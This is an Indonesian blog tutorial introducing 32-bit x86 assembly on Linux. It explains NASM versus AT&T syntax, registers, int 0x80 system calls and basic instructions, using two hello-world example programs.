Ada dua sintaks bahasa assembly, yaitu dalam format AT&T dan NASM. Sintaks AT&T banyak dipakai dalam lingkungan GNU seperti GNU Assembler, dan menjadi format default GNU Debugger (GDB). Sedangkan format NASM dipakai oleh netwide assembler dan banyak dipakai di lingkungan windows.
Perlu dicatat bahwa perbedaan NASM dan AT&T ini hanya masalah sintaks saja, keduanya menghasilkan bahasa mesin yang sama persis
Beberapa perbedaan antara format AT&T dan NASM adalah:
  • Baris komentar diawali dengan “;” semicolon untuk NASM. AT&T mengawali komentar dengan # (hash)
  • Dalam format AT&T, setiap register diawali dengan %. NASM tidak menggunakan %.
  • Dalam format AT&T, setiap nilai literal (konstanta) diawali dengan $. NASM tidak menggunakan $.
  • Pada perintah yang menggunakan operand sumber dan tujuan, format AT&T menuliskan tujuan sebagai operand kedua (contoh: CMD <source>,<dest>). Sedangkan NASM menuliskan tujuan sebagai operand pertama (contoh: CMD <dest>,<source>).
Register
Register adalah variabel internal yang sudah built-in di dalam prosesor yang bisa dipakai oleh programmer untuk bermacam-macam keperluan. Karena register posisinya di prosesor, bukan di memory, maka menggunakan register sebagai variabel jauh lebih cepat dibanding menggunakan variabel yang dismipan di suatu alamat di memori.
Berikut adalah jenis-jenis register yang ada pada prosesor Intel.
Kategori Nama Penjelasan
General Purpose EAX, EBX, ECX, EDX Lebar data 32 bit, boleh diapakai untuk keperluan apa saja. E adalah Extended (karena awalnya register general purpose hanya 16 bit).

AX,BX,CX,DX 16 bit bawah dari register 32 bit di atas. AX adalah bagian 16 bit bawah dari EAX.

AH,AL,BH,BL,CH,CL,DH,DL Bagian 8 bit dari register 16 bit di atas . AH adalah 8 bit atas dari AX. AL adalah 8 bit bawah dari AX.
Segment Register CS, SS, DS, ES, FS, GS Digunakan untuk menunjuk 16 bit awal alamat memori. CS = Code, SS = Stack, DS = Data, ES,FS,GS = Extra segment register
Offset Register
Digunakan untuk menunjuk 16 bit akhir alamat memori. Alamat memori ditunjukkan dengan gabungan segment dan offset.

EBP Dipakai sebagai offset frame dalam stack. Biasanya menunjuk pada bottom of stack frame di suatu fungsi. ESP menunjukkan puncak stack, EBP menunjuk dasar stack.

ESI Biasanya dipakai untuk offset string sumber dalam operasi yang melibatkan blok memori.

EDI Biasanya dipakai untuk offset string tujuan dalam operasi yang melibatkan blok memori.

ESP Stack pointer, menunjukkan puncak dari stack.
Special EFLAGS Tidak bisa dipakai programmer, hanya dipakai prosesor untuk hasil operasi logical dan state.

EIP Tidak bisa dipakai programmer, hanya dipakai prosesor untuk menunjukkan alamat memori yang berisi instruksi berikutnya yang akan dieksekusi.
Perhatikan gambar di bawah ini untuk melihat register-register yang ada dalam prosesor keluarga IA32 (Intel Architecture 32 bit).
http://www.faculty.iu-bremen.de/birk/lectures/PC101-2003/01x86/80x86%20Architecture/registers.htm
courtesy of iu-bremen.de
Dalam gambar di ats terlihat bahwa register-register Extended (berawalan E) adalah register 32 bit. Agar kompatibel program-program sebelumnya ketika register hanya ada 16 bit, maka register yang lain adalah bagian bit bawah dari versi extendednya. Contohnya adalah register ESI dan SI. Register SI adalah 16 bit paling bawah dari ESI. Pada register EAX, AX adalah 16 bit paling bawah dari EAX. Register AX pun dipecah lagi menjadi 8 bit atas AH dan 8 bit bawah AL. Programmer bebas menggunakan yang mana saja sesuai kebutuhannya.
The Classic “Hello World”
Cukup sudah berteori, kini kita mulai berbasah-basah. Mari kita buat program pertama dalam assembly yang menampilkan teks “Hello World”. Dalam artikel ini saya menggunakan format syntax Intel, bukan AT&T. Silakan ketik source berikut dan simpan dalam nama hello.asm
; section text khusus buat code
section .text 
 
global _start
 
_start:
; systemcall =&gt; write(1,msg,len)
mov edx,len   ; panjang string dimasukkan dalam register EDX
mov ecx,msg  ; alamat memori yang menyimpan string dimasukkan dalam register ECX
mov ebx,1     ; file descriptor (1=stdout=defaultnya console) disimpan dalam register EBX
mov eax,4     ; Nomor syscall 4 adalah fungsi sys_write()
int 0x80        ; panggil system call dengan interrupt 80 hexa.
 
; systemcall =&gt; exit(0)
xor ebx,ebx     ; membuat EBX menjadi 0 sebagai return code ketika exit
mov eax,1     ; nomor syscall 1 adalah fungsi exit()
int 0x80        ; panggil system call dengan interrupt 80 hexa.
 
section .data ; section data khusus buat data/variable
msg db "Hello, World!",0xa ; String diikuti dengan 0xA yaitu new line \n.
len equ $ - msg  ; Panjang string didapat dengan mengurangi address di baris ini dengan alamat string.
Setelah itu kita akan mengcompile file ASM itu menjadi object code berformat ELF dengan NASM (netwide assembler). Setelah itu akan terbentuk file hello.o yang harus dilink dengan linker LD agar menjadi format executable.
$ nasm -f elf hello.asm
$ ld -s -o hello hello.o
$ ./hello
Hello, World!
Selamat, anda telah berhasil membuat program Hello World dalam bahasa Assembly. Program di atas sangat sederhana, kita memanggil system call write() untuk menampilkan string (msg), kemudian kita memanggil system call exit() untuk keluar dari program dan program selesai. String msg kita taruh dalam section .data karena section tersebut khusus untuk menyimpan data/variabel. Sedangkan instruksi assembly disimpan dalam section .text karena section text khusus untuk menyimpan code.
Hello World Opcode
Untuk melihat keterkaitan antara assembly dan bahasa mesin kita bisa melihat opcode dari program assembly yagn kita buat dengan program objdump pada gambar berikut ini.
hubungan assembly dan opcode
Opcode di sebelah kiri adalah versi bahasa mesin dari bahasa assembly di sebelah kanannya. Hal ini menunjukkan eratnya kaitan antara assembly dan bahasa mesin. Contohnya adalah instruksi assembly INT 0×80 diterjemahkan ke bahasa mesin: 0xCD 0×80 (dalam hexa) atau 11001101 (binary dari 0xCD) 10000000 (binary dari 0×80).
Perhatikan bahwa pada source code assembly, “MOV EDX, len” setelah dicompile diterjemahkan menjadi “MOV EDX, 0xE”. Hal ini karena len adalah konstanta berisi panjang string “Hello, World!” yaitu sepanjang 14 karakter. Instruksi assembly pada source code “MOV ECX, msg” setelah dicompile diterjemahkan menjadi “MOV ECX, 0x80490a4″. Mengapa msg diterjemahkan menjadi 0x80490a4? Hal ini karena msg adalah address dari string “Hello, World!” sehingga setelah dicompile diterjemahkan menjadi alamat 0x80490a4. Terlihat juga pada gambar di atas pada lokasi 0x80490a4 terdapat string “Hello, World!”.
System Call
Dalam program hello world di atas kita memanfaatkan system call untuk menampilkan teks di layar monitor. System call adalah gerbang menuju kernel mode bagi program yang membutuhkan servis yang hanya bisa dikerjakan oleh kernel.
system call adalah gateway menuju kernel mode
System call di Linux dipanggil dengan menggunakan interrupt 80 hexa. Nomor system call dimasukkan dalam register EAX. Daftar lengkap nomor systemcall di Linux bisa dibaca di file header: /usr/include/asm/unistd.h. Berikut adalah cuplikan isi dari file unistd.h
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_
 
/*
 * This file contains the system call numbers.
 */
 
#define __NR_restart_syscall      0
#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_read                 3
#define __NR_write                4
#define __NR_open                 5
#define __NR_close                6
#define __NR_waitpid              7
#define __NR_creat                8
Dalam contoh hello world kita memanfaatkan system call nomor 4 (write) dan nomor 1 (exit). Untuk mengetahui cara pemakaian dan argumen untuk system call tersebut, kita bisa gunakan man di Linux.
$ man 2 write
SYNOPSIS
ssize_t write(int fd, const void *buf, size_t count);
$ man 2 exit
void _exit(int status);
Dari manual system call write meminta 3 argument: yaitu file descriptor bertipe integer, alamat memori tempat string berada, dan terakhir adalah panjang string bertipe integer. Ketika argumen tersebut disimpan dalam register mulai dari EBX, ECX dan EDX. Argumen pertama di EBX, argumen kedua di ECX dan ketiga di EDX. Register EAX dipakai untuk menyimpan nomor system call. Dari manual system call exit meminta 1 argument: yaitu kode status bertipe integer yang disimpan dalam register EBX.
Dalam contoh hello world di atas kita menggunakan 3 intruksi assembly yaitu MOV, XOR dan INT. Mari kita bahas intstruksi tersebut.
Instruksi MOV
Kita menggunakan MOV untuk menyalin data dari sumber ke tujuan. Sumber dan tujuan bisa alamat memori, atau register. Perhatikan contoh berikut:
NASM/Intel AT&T Deskripsi
MOV EAX, 0×51 MOVL $0×51, %EAX Mengisi register EAX dengan nilai 51 hexa
MOV ESP, EBP MOVL EBP, ESP Menyalin isi register EBP ke register ESP
Perbedaan antara sintaks NASM dan AT&T adalah arah pengkopian. Dalam sintaks NASM, tujuan ada pada operand pertama, sedangkan dalam sintaks AT&T tujuan adalah operand ke-2.
Instruksi XOR
Instruksi XOR digunakan untuk melakukan operasi logika Xclusive OR. XOR akan menghasilkan 0 bila kedua operandnya sama, dan menghasilkan 1 bila tidak sama. XOR ini biasanya dipakai untuk membuat register menjadi 0 dengan melakukan XOR untuk operand yang sama seperti pada contoh hello world tersebut.
NASM/Intel AT&T Deskripsi
XOR EBX,EAX XOR %EAX,%EBX XOR isi EBX dengan EAX, hasilnya disimpan di EBX
Instruksi INT
Instruksi INT digunakan untuk mengirim sinyal interrupt ke prosesor. Dalam contoh di atas kita memakai interrupt nomor 80 hexa untuk meminta layanan dari kernel.
NASM/Intel AT&T Deskripsi
INT 0×80 INT $0×80 Memanggil interrupt nomor 80 hexa
Contoh Lain: Hello World X Times
Kali ini kita akan memodifikasi program hello world di atas agar bisa menampilkan pesan yang sama berkali-kali tergantung dari argumen yang dimasukkan user.
section .text
 
global _start
 
_start:
pop eax ; pop number of argc (diabaikan)
pop eax ; pop argv[0] (diabaikan karena berisi nama program)
pop eax ; pop argv[1] (ini dipakai untuk stringtoint)
call stringtoint ; ECX berisi argumen bertipe integer sebagai counter
 
_print:
push ecx              ; selamatkan counter di stack karena ECX dipakai juga di _print_hello
call _print_hello     ; print hello world
pop ecx               ; ambil lagi counter dari stack karena akan dipakai untuk looping
loop _print           ; kurangi ECX dengan 1, bila belum 0 kembali ke _print
 
; ini system call exit(0)
mov ebx,0
mov eax,1
int 0x80
 
_print_hello:   ; systemcall write(1,msg,len)
mov edx,len
mov ecx,msg
mov ebx,1
mov eax,4
int 0x80
ret
 
stringtoint: ; mengubah string di lokasi yang ditunjuk EAX menjadi integer di ECX
; EAX address of string
xor ecx,ecx   ; clear ECX
xor ebx,ebx   ; clear EBX
mov bl,[eax]  ; BL berisi kode ASCII string di lokasi yang ditunjuk EAX
sub bl, 0x30   ; Kode ascii angka adalah 30h-39h, dikurangkan dengan 30h
add ecx,ebx   ; ECX ditambah EBX, ECX berisi nilai integer
ret
 
section .data
msg db "Hello, World!",0xa
len equ $ - msg
Simpan source code di atas dengan nama helloxtimes.asm, lalu compile dan link seperti di bawah ini.
$ nasm -f elf helloxtimes.asm
$ ld -s -o helloxtimes helloxtimes.o
$ ./helloxtimes 1
Hello, World!
$ ./helloxtimes 2
Hello, World!
Hello, World!
$ ./helloxtimes 3
Hello, World!
Hello, World!
Hello, World!
$ ./helloxtimes 4
Hello, World!
Hello, World!
Hello, World!
Hello, World!
Kita belajar beberapa instruksi baru dalam contoh ke-2 ini, yaitu looping, penggunaan argumen dan prosedur, sedangkan system call yang dipakai tetap sama, yaitu write() dan exit().
Program kali ini menerima argumen berupa integer 1-9 yang dipakai sebagai counter berapa kali pesan akan muncul di monitor. Argumen ini diambil dari stack dengan instruksi POP. Pada puncak stack ada argc, yaitu jumlah argumen ketika program dijalankan. Di bawahnya berisi address dari argv[0] yaitu nama program. Kemudian di bawahnya lagi baru berisi address dari argv[1] yaitu parameter/argumen pertama. Perhatikan pada baris ke-6 s/d baris ke-8 ada instruksi POP EAX sebanyak tiga kali. Ini dilakukan karena yang diperlukan ada pada posisi ke-3 sehingga kita harus membuang 2 elemen di puncak sebelum bisa mengambil address argv[1]. Address argumen ke-1 diambil dari POP lalu disimpan dalam register EAX. Karena bentuknya masih string, maka harus diubah dulu menjadi integer dengan memanggil prosedur stringtoint pada baris ke-9.
Instruksi POP untuk Mengambil Argumen
Instruksi POP untuk Mengambil Argumen
Ketika program dijalankan dengan satu argumen seperti “./helloxtimes 7″. Maka jumlah argumen (argc) akan berisi 2, yaitu nama program itu sendiri, dan satu argumennya. ARGC akan disimpan pada puncak stack, dan elemen di bawahnya berisi alamat memori dari nama program, dan dibawahnya lagi berisi alamat memori dari argumen pertama. Perhatikan gambar di atas yang menunjukkan proses pengambilan alamat memori berisi string argumen pertama dari stack. Dalam contoh tersebut argumen adalah string “7″, yaitu karakter berkode ASCII 37 hexa diikuti dengan ASCII 0 (karakter NULL). Alamat memori berisi string argumen pertama itu diambil dari stack dan disimpan di register EAX.
Pada prosedur stringtoint, register EAX berisi address string yang akan diubah menjadi integer. Kita hanya mengambil karakter pertama saja, pada baris ke-35 dengan instruksi MOV, isi memori pada address yang ditunjuk oleh EAX dicopy ke register BL.
“MOV EBX, [EAX]” berbeda dengan “MOV EBX,EAX”. MOV EBX,[EAX] berarti menyalin isi memori pada alamat yang disimpan di EAX ke dalam register EBX. Sedangkan MOV EBX,EAX berarti menyalin isi register EAX ke register EBX
Saya menggunakan register BL karena kode ASCII lebarnya hanya 8 bit. Bila benar berisi angka, maka register BL akan berisi nilai 30h-39h (kode ascii untuk “0″-”9″). Setelah itu register BL dikurangi dengan 30h untuk mendapatkan nilai dari 0-9. Setelah itu hasilnya ditambahkan ke register ECX sehingga kembali dari prosedur ini dengan nilai integer hasil konversi di register ECX.
Setelah mendapatkan nilai argumen bertipe integer di register ECX, selanjutnya ECX ini perlu diselamatkan dulu dalam stack (baris 12) sebab ECX akan dipakai dalam prosedur _print_hello (baris 13). ECX dipakai sebagai alamat string msg ketika memanggil system call write(). Setelah kembali dari prosedur _print_hello, nilai ECX perlu dikembalikan seperti semula dengan POP ECX (baris 14) sebab akan dipakai sebagai counter dalam LOOP (baris 15). Ketika menjalankan instruksi LOOP, register ECX akan dikurangi 1, kemudian bila ECX > 0 maka program akan lompat ke _print. Bila ECX bernilai 0, maka loop berhenti dan menjalankan system call exit(0).
Setelah memahami cara kerja program contoh ke-2 itu. Sekarang mari kita bahas instruksi baru yang ada di sana: CALL, RET, PUSH, POP, LOOP.
Instruksi PUSH dan POP
Instruksi PUSH digunakan untuk menyimpan nilai ke dalam stack. Kebalikannya adalah instruksi POP untuk mengambil nilai dari stack. Stack dalam Linux membesar ke alamat memori yang lebih rendah. Puncak stack ada di alamat rendah, sedangkan dasar stack ada di alamat yang lebih tinggi.
NASM/Intel AT&T Deskripsi
PUSH value PUSHL value Menyimpan nilai ke dalam stack
POP dest POPL dest Mengambil nilai dari stack ke dest

Struktur Data Stack
Stack adalah struktur data yang mirip seperti tumpukan piring. Data yang diambil dari stack adalah data yang dimasukkan terakhir, atau istilahnya adalah LIFO (last in first out). Jadi kalau kita ingin mengambil data di tengah-tengah tumpukan, caranya adalah dengan mengambil dulu data dari puncak sampai habis, sehingga data yang kita inginkan berada di puncak stack.
PUSH dan POP dalam Stack
PUSH dan POP dalam Stack
Reguster ESP menunjukkan alamat memori dari puncak stack. Setiap ada instruksi PUSH, maka register ESP berkurang (ingat stack bertumbuh ke alamat yang makin mengecil) karena puncak stack berubah. Begitu pula bila sebaliknya bila ada instruksi POP, maka register ESP akan bertambah.
PUSH EAX
PUSH EAX di atas sama dengan dua instruksi di bawah ini:
SUB ESP, 4
MOV DWORD PTR SS:[esp], EAX
PUSH EAX (4 byte) bisa dilakukan dengan mengurangkan ESP dengan 4, kemudian menyalin isi EAX ke memori di lokasi SS:[ESP], yaitu di segment stack pada offset yang ditunjuk oleh ESP. DWORD PTR menunjukkan bahwa lebar data yang akan disalin ke memori dalam instruksi MOV itu selebar 4 byte.
POP EAX
POP EAX di atas sama dengan dua instruksi di bawah ini:
MOV EAX, DWORD PTR SS:[esp]
ADD ESP, 4
POP EAX (4 byte) bisa dilakukan dengan menyalin isi memori di lokasi SS:[ESP], yaitu di segment stack pada offset yang ditunjuk oleh ESP ke register EAX, lalu menambahkan ESP dengan 4. DWORD PTR menunjukkan bahwa lebar data yang akan disalin ke memori dalam instruksi MOV itu selebar 4 byte.
Instruksi CALL dan RET
Instruksi CALL digunakan untuk memanggil sebuah prosedur. Sedangkan RET dipakai untuk kembali dari prosedur kembali ke lokasi setelah instruksi pemanggilan. Ketika instruksi CALL dijalankan, prosesor menyimpan alamat instruksi sesudah instruksi CALL ke dalam stack (return address), kemudian prosesor lompat ke alamat subroutine yang dituju. Ketika instruksi RET dijalankan, maka prosesor mengambil (POP) return address (alamat yang di-push ketika CALL), kemudian loncat ke alamat tersebut.
NASM/Intel AT&T Deskripsi
CALL subroutine1 CALL subroutine1 Memanggil prosedur subroutine1
RET RET Kembali dari prosedur
CALL dan RET
Instruksi LOOP
LOOP digunakan untuk melakukan looping sejumlah nilai yang ada pada register ECX. Ketika ada instruksi LOOP, prosesor akan mengurangi nilai ECX dengan 1, kemudian membandingkan hasilnya. Bila nilai ECX sekarang masih > 0, maka prosesor akan loncat ke alamat yang ditunjuk dalam LOOP. Bila nilai ECX sekarang menjadi 0, prosesor tidak akan loncat, tapi melanjutkan mengerjakan instruksi selanjutnya setelah LOOP.
NASM/Intel AT&T Deskripsi
LOOP address LOOP address Looping ke alamat yang ditunjukkan oleh address bila ECX > 0.
Instruksi tunggal “LOOP address” ekivalen dengan 2 instruksi assembly berikut:
DEC ECX   ; DECREMENT: ECX = ECX - 1, register ECX dikurangi 1
JNZ address ; JUMP IF NOT ZERO: Bila ECX masih belum 0, JUMP ke address
Ilustrasi LOOP
Pada gambar di atas ada dua kondisi yang mungkin yaitu ECX > 0 atau ECX = 0. Mungkin ada yang bertanya, lho bagaimana dengan kondisi ECX < 0 ? Ingat komputer hanya mengenal 2 simbol, yaitu 0 dan 1, jadi pada dasarnya tidak ada “-1″ atau “-0″ dalam representasi binary. Bilangan negatif direpresntasikan dengan pengkodean two-complement, silakan baca di signed number representation karena itu diluar topik yang kita bahas sekarang.
Bila ECX bernilai 0 sebelum mengerjakan instruksi LOOP, maka yang terjadi adalah program akan looping sebanyak 0xFFFFFFFF atau 4.294.967.295 kali. Hal ini terjadi karena 0 – 1 = -1 yang dalam binary adalah 0xFFFFFFFF dengan sistem two-complement.
 
Sumber : http://pe-ha-ka.blogspot.com/2011/11/belajar-assembly-di-linux.html
READ MORE - Belajar Assembly di Linux

Hosting Gratis

Web hosting
shareyourthinkall searchengine portalsite download